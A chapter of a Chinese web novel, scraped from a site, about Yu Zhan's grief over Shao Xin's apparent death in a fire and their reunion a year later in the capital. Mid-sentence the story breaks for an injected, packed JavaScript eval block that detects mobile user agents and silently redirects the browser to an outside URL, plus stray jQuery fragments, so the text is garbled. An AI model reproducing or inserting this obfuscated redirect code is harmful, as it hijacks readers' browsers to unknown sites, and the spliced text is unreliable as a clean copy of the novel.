郁湛眼睛里的失落如此明显,一旁的大夫瞧着暗暗咋舌,自己在郁氏做了半辈子的府医了,还从未见过公子这般落寞的模样。关于公子受伤的原因,他之前也听到了一些风声,却总觉得是谣传,如今一看,未必是谣言。
只见郁湛缓缓靠回床头,声音带着些倦,“请她过来一趟,就说我有话要同她讲。”
姚盛低头握拳应了一声,而后走了出去。
“公子,我为您诊脉。”
大夫脸上的惊异表情未收,郁湛看在眼里,并未说什么。当初之所以选择在家宴上当着许多人说那样一番话,便是不欲瞒人。
只是万万没想到,她会退缩。他一直以为,她是愿意跟自己共度一生的。
一直到大夫为郁湛换了药,姚盛也还未归来,而郁家的其他人也不曾来看望。
郁湛并不意外,这也是家中一贯对他的惩罚方式之一,不闻不问地冷待,直到他肯低头。
小时候他或许还会在意、会难受,可如今他只觉得好笑。
不久,姚盛归来,带话说乔姑娘不愿见他。郁湛颓然靠在床头,一向冷静理智的他此时真的分不清,她对自己到底是真心还是如她在祠堂所说的那般全是利用。
片刻后他撑起身子欲下床,将一旁的姚盛骇了一跳,忙上前搀扶,“公子!”
“她不愿来见我,那我就去见她。”自己要跟她把话说清楚。
姚盛无奈,只好道:“乔姑娘已经不在乔家了,属下没找见她人。”
郁湛默然。她到底是逃了,在自己准备跟她共度一生后。
“叫人查她往哪儿去了。”
姚盛应了,却好几日不曾带来有用的消息。
而在这期间,郁家人陆续来郁湛房中看望,却绝口不提他是因何而伤,仿佛之前的事从未发生过一般。
郁湛只觉可笑,已经说出口的话如何能收回?难道沉默以对,就能让这件事平静地揭过去,就当从来没有发生过?
一直到郁老爷子来到郁湛房中。同郁家其他人不一样,郁老爷子一开口便提到了邵欣,“她是个聪明人,知道该如何抉择对自己才是最好。比起她,清禾,你简直固执得愚蠢。”
窗外的树影投进来,在郁湛的脸上撒上斑驳的光晕,衬得他眸光愈发幽暗,“祖父都跟她说了什么?”
邵欣在进祠堂之前,先去见了郁老爷子这件事并不是什么秘密。
“你这孩子倒也忍得住,这个时候才来问我。”
郁老爷子站在那里,似是想到了当时的情形,嘴角浮起莫名的笑来,“我本想让她知难而退,在见她之前就准备好了一箩筐的说辞。结果……”郁老爷子摇了摇头,“一句也没用上。”
“她跟我说,她不是乔家原本的那位乔姑娘,她之所以接近你,只是为了报复乔家人。如今她目的达成,已经没有再继续下去的必要,她还有她自己的事要做,以后不会再出现在你面前,叫我放心。”
郁老爷子说着这话,脸上笑意未改,语气中还带着几分欣赏,“这般潇洒果断,真不像是乔家的人。”
再看向郁湛时,他脸上的笑已经完全收了起来,“你也胡闹够了,待伤养好了,便回京去吧。至于你的亲事,你祖母和你母亲会商量着办的。”
这时候,郁湛反而笑了,原来自己反复纠结,几度挣扎煎熬,终于下定决心要做的事,在他们看来不过是胡闹。
“祖父,家中无非希望我娶一个门当户对的世家女做妻子。可是您想过没有,若果真如此,我在户部做到侍郎已是到头了。”
郁老爷子闻言下意识拧眉。
郁湛靠在床头,语气淡淡:“圣人对世家的态度您不是看不清。我的前程和婚事,只能择其一。”
郁老爷子思量片刻,眉头仍未松开,“就算不求门当户对,也决不能是乔氏那样的人家。”家风不正,后患无穷。做妾已是勉强,正妻万万不能!
“若是可以,她亦不愿做乔家的女儿。”郁湛的声音沉沉的,听起来有些压抑。
郁老爷子眉头拧得更紧,“不管她愿不愿,她就是。她身上流着乔家的血,这一点谁也无法改变。娶她为妻的事,你就别想了。至于你的正妻人选,我会仔细斟酌。”
末了,他语重心长地道:“清禾,你别忘了,你是郁家的嫡长,是宗子。你的婚姻不是你一个人的事,它事关整个郁家。你有你的责任。”
“我的婚事而已,还压不垮郁家。若祖父执意而为,我只怕会闹出什么更不体面的事来,定亲的事情还是缓一缓吧。”
郁湛自幼谦和,尤其是在家人面前。他还从未有过如此尖锐的时候,直教郁老爷子不可置信地看向他,“你这是在威胁你祖父?”
“若祖父觉得是威胁,那便是威胁吧。”
半晌之后,郁老爷子方幽幽叹了一口气,“那位乔姑娘可真是了不得,竟影响我孙儿至此。”
此后半月,郁湛一直躺在房中养伤,郁夫人偶尔来看望,却也绝口不提有关他的婚事。而这半个月里,姚盛却没查出任何有关邵欣的动向,郁湛终于意识到事情不对。
“她那边是不是出了什么事?”郁湛盯着姚盛逼问。
在姚盛开口之前,郁湛又道:“这是我给你最后说实话的机会。”
姚盛闻言脸色一变,在犹豫过后,终于无力耷地拉下肩膀,声音也低低的,“在公子晕过去的次日,乔家起了一场大火,大火被扑灭后,官府从里头发现了五具被烧焦的尸体……”
胸内气血上涌,郁湛强压下喉咙的腥甜,“说清楚!”
“当日乔姑娘返回乔家之后,便遣散了乔家的所有下人,同时往鸣泉书院写了一封信,乔成望收到信后当日便回到家中。次日晚,乔家后院地窖的方向起了一场大火,邻人发现火光后立即报给官府,衙役们前往救火,待大火扑灭已是天亮。地窖里发现了五具尸体,已经烧得面目全非,分不清究竟是谁。”
乔家统共四口人,那多出来的一个实在不难猜出是谁。
她所谓的报复,真的是将自身的性命都搭进去吗?郁湛不信。可喉咙里的那股腥甜到底还是没能压下去,姚盛大惊失色忙叫人唤府医过来,这一日郁家又是一阵兵荒马乱。
渐渐外头起了传言,说郁氏宗子为了一个女人缠绵病榻,后来伴随着郁湛启程回京,传言才渐渐平息。
……
又是一年春,绿柳成荫,百花争艳。
这一日恰逢休沐,郁湛路过文宝斋,想着正好买几锭墨回去,不曾想刚进门抬眼便看到了户部的同僚冯川。
冯川虽年长郁湛十数岁,但郁湛一年前已经升任户部右侍郎,冯川见了他也得恭敬地俯身见礼。
“出门在外,不必拘礼。”不待冯川拜下去,郁湛已经伸手托住了他的手臂。
既遇见了,二人少不得寒暄几句。正说着话,却见冯川眼睛盯着外头一处,瞧得有些出神。郁湛下意识顺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17931606|211566||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着他的目光看过去,却见是一个女子正在斜对面店铺的屋檐下躲雨。
极普通的长相、极普通的穿着,汇入人群中,一眼就看不到的样子,可莫名的,郁湛的视线却被她牢牢抓住。
注意到郁湛的目光,冯川方回过神来,解释道:“这姑娘我曾在刑部大牢前见过,听刑部的赵大人说褚世子的案子能这么快找到证据,全靠这姑娘四处奔走。”
此时,有一个挑着担子的老妇人停在那女子的面前,妇人的衣裳都已经被淋湿了,却仍抹了一把脸问女子:“姑娘要买点东西吗?我这里有头绳、帕子、绣花针……”
“好啊,我看看。”女子让开了身子,让老妇人躲进屋檐。
冯川见状轻叹一口气,“是个善心姑娘,只是可惜了,她这样的出身,侯府怎会愿意让她进门?难为她对褚世子一片真心。”
感叹过后,他转头欲跟郁湛告辞,却见身旁这位侍郎大人仍紧紧盯着那女子瞧,那眼神说不上来的感觉……难道他二人认识?
“你刚刚说她对褚世子如何?”郁湛的声音幽幽传来。
冯川感受到一股冷意,内心翻腾着无数猜想,嘴上仍老实应道:“下官也不是太了解内情,只是前几日去到刑部配合查褚世子的案子时,偶然听到赵大人提到了一嘴……”
……
邵欣想过会在京城碰到郁湛,但此时真切地见到这人近在眼前还是有一种恍若隔世的感觉。她不明白他是怎么认出自己的,分明精心易容过了,连声音都是刻意伪装的,他不该认出来才对。可此时他分明是冲着自己来的,隔着雨幕,他就这样直直走到了自己的面前。
她故意不去看他,而是低着头继续再老婆婆的扁担里挑拣。而郁湛就那么停在她的面前,屋檐很窄,他就站在雨里,紧紧盯着眼前的女子。
老婆婆的眼神在两人身上转了转,先开口打破沉默,“姑娘,你跟这位公子认识?”人家看她的眼神分明是认识的。
“不认识。”她的声音沉而哑,是郁湛全然陌生的。
但他却仍盯着她,“只是一年未见,姑娘便不认得我了,未免太过健忘。”
邵欣挑拣了几样东西,从随身的荷包里取了铜钱递给老妇人。
“公子认错人了,我的确不认得公子。”说完,邵欣拿了东西便要离开。
可此时的郁湛哪里容得她再次消失在自己眼前,他握着她手腕的力道很重,“这一年来,我一直在找你,你究竟去了哪里?”
以郁氏的实力,想要找一个人,不会一年内一点线索都没有,他实在想不到这一年她究竟跑到哪里去了,又为什么跟康成侯府的褚世子扯上了关系。
卖东西的老妇人将邵欣给的铜钱收好,却在一旁瞧得有趣,一时竟不愿离开。
邵欣挣了挣,发觉自己挣不脱郁湛的钳制,又见姚盛就在一旁守着,到底放弃了挣扎。
“我们找个地方坐下再说。”她十分无奈地开口。
郁湛握着她的手这才松了些,却仍不愿彻底放开。
邵欣将自己的手举起来,看着郁湛道:“也许郁大人不在意流言蜚语,但我却不想成为别人茶余饭后的谈资。”
他如此年纪便成为户部侍郎,耀眼如斯,京中鲜少有人不识。若是一路被他这样牵着,不出一日,流言便会将自己淹没。
郁湛放开了手,脸上失落之色明显。从‘郁公子’到‘郁湛’,如今又变成了更为生疏的‘郁大人’。